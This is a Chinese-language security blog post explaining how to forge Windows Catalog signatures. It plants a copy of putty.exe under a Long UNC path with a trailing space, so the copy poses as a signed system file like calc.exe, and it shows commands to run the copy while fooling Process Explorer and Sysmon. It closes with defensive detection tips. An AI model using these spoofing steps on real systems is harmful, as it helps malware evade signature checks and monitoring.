Good in study, attitude and health

Catalog签名伪造——Long UNC文件名欺骗

0x00 前言


在之前的两篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》《Authenticode签名伪造——针对文件类型的签名伪造》介绍了Authenticode签名伪造的利用方法,这次将要介绍一个Catalog签名伪造的方法,利用Long UNC文件名欺骗系统,获得系统内置的Catalog签名

注:

本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。

参考资料:

http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1

0x01 简介


本文将要介绍以下内容:

  • Long UNC基础知识
  • Long UNC文件名欺骗的方法
  • Long UNC文件名欺骗优缺点分析

0x02 Long UNC介绍


UNC(Universal Naming Convention)

通用命名规则,可用来表示Windows系统中文件的位置

详细介绍可参考如下链接:

https://en.wikipedia.org/wiki/Path_(computing)

Long UNC

正常UNC支持的最大长度为260字符

为了支持更长的字符,引入了Long UNC,支持最大长度为32767

格式举例: \\?\C:\test\a.exe

type putty.exe > "\\?\C:\test\longUNC.exe"

如下图,使用Long UNC的文件同普通文件没有区别

Alt text

特别用法:

如果在Long UNC文件名后面加一个空格,系统对文件名的判断将发生错误

type putty.exe > "\\?\C:\test\mimikatz.exe "

如下图

Alt text

将putty.exe重命名为"\\?\C:\test\mimikatz.exe ",右键查看"\\?\C:\test\mimikatz.exe "的文件属性

发现了奇怪的地方:属性显示该文件为样本文件mimikatz.exe的属性

直观理解:特殊Long UNC的文件能够欺骗系统,将其识别为另一个文件

0x03 Long UNC文件名欺骗的方法


由上节测试,我们知道利用Long UNC能够复制文件属性

那么,如果复制的是系统文件,甚至是带有catalog签名的文件,是否能实现catalog的签名伪造?

测试1: 伪造calc.exe的catalog签名

测试系统: Win7 x86

使用sigcheck.exe查看calc.exe的catalog签名:

sigcheck.exe -i c:\windows\system32\calc.exe

如下图

Alt text

Long UNC文件伪造:

type putty.exe > "\\?\C:\Windows\System32\calc.exe "

注:

输出到c:\windows\system32\需要管理员权限

特殊文件名必须放在目标的同级目录下,即C:\Windows\System32,否则启动失败

如下图,验证结论,特殊Long UNC能够复制文件属性

Alt text

在之前的文章《Hidden Alternative Data Streams的进阶利用技巧》介绍过特殊文件名可用短文件名代替

获取短文件名:

dir /x calc*.exe

如下图

Alt text

"\\?\C:\Windows\System32\calc.exe "可用短文件名CALC~1.EXE代替

使用sigcheck.exe查看该文件的catalog签名:

sigcheck.exe -i "\\?\C:\Windows\System32\calc.exe "

or

sigcheck.exe -i C:\Windows\System32\CALC~1.EXE

如下图

Alt text

成功伪造catalog签名

测试2: 执行特殊Long UNC文件

1、无法双击执行

2、通过命令行

"\\?\C:\Windows\System32\calc.exe "

提示系统找不到指定的路径

C:\Windows\System32\CALC~1.EXE

启动正常calc.exe

3、通过WMIC

wmic process call create C:\Windows\System32\CALC~1.exe

4、通过vbs

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "c:\windows\system32\calc~1.exe"

5、通过js

var wsh=new ActiveXObject("wscript.shell");  
wsh.run("c:\\windows\\system32\\calc~1.exe");

启动后,进程名为calc~1.exe

特别的地方:

通过Process Explorer验证进程签名,识别为calc.exe的默认微软证书

如下图

Alt text

注:

关于文件的描述,例如截图中的"SSH, Telnet and Rlogin client"可通过修改程序的资源进行伪造,方法暂略

得出结论: 执行特殊Long UNC文件能够欺骗Process Explorer的进程签名验证

补充:

能够欺骗Sysmon的部分日志监控功能,例如Process creation

测试3: 无法欺骗的工具

1、使用certutil.exe计算MD5

certutil.exe -hashfile C:\Windows\System32\calc.exe MD5

certutil.exe -hashfile C:\Windows\System32\calc~1.exe MD5

注:

certutil.exe -hashfile "\\?\C:\Windows\System32\calc.exe " MD5

报错提示系统找不到文件

如下图

Alt text

测试4: 多个同名文件夹的生成

type putty.exe > "\\?\C:\Windows\System32\calc.exe "
type putty.exe > "\\?\C:\Windows\System32\calc.exe  "
type putty.exe > "\\?\C:\Windows\System32\calc.exe   "

如下图

Alt text

测试5: 特殊Long UNC文件的删除

del "\\?\C:\Windows\System32\calc.exe "

or

del C:\Windows\System32\CALC~1.exe

测试6: 其他系统测试

支持Win7-Win10

64位系统需要注意重定向问题

0x04 利用分析


利用特殊Long UNC文件名欺骗系统对文件路径的判断,实现伪造catalog签名

特点:

欺骗系统对文件名的检查,将文件伪造成系统文件,伪造catalog签名

防御检测:

1、权限控制

欺骗系统文件,需要有系统文件夹的可写权限

2、文件识别

同级目录同名文件

3、进程名判断

特殊进程名,格式为短文件名,例如CALC~1.EXE

4、工具检测

使用certutil.exe校验文件hash

0x05 小结


本文介绍了利用特殊Long UNC文件名欺骗系统并获得Catalog签名的技巧,分析利用方法,分享防御思路


LEAVE A REPLY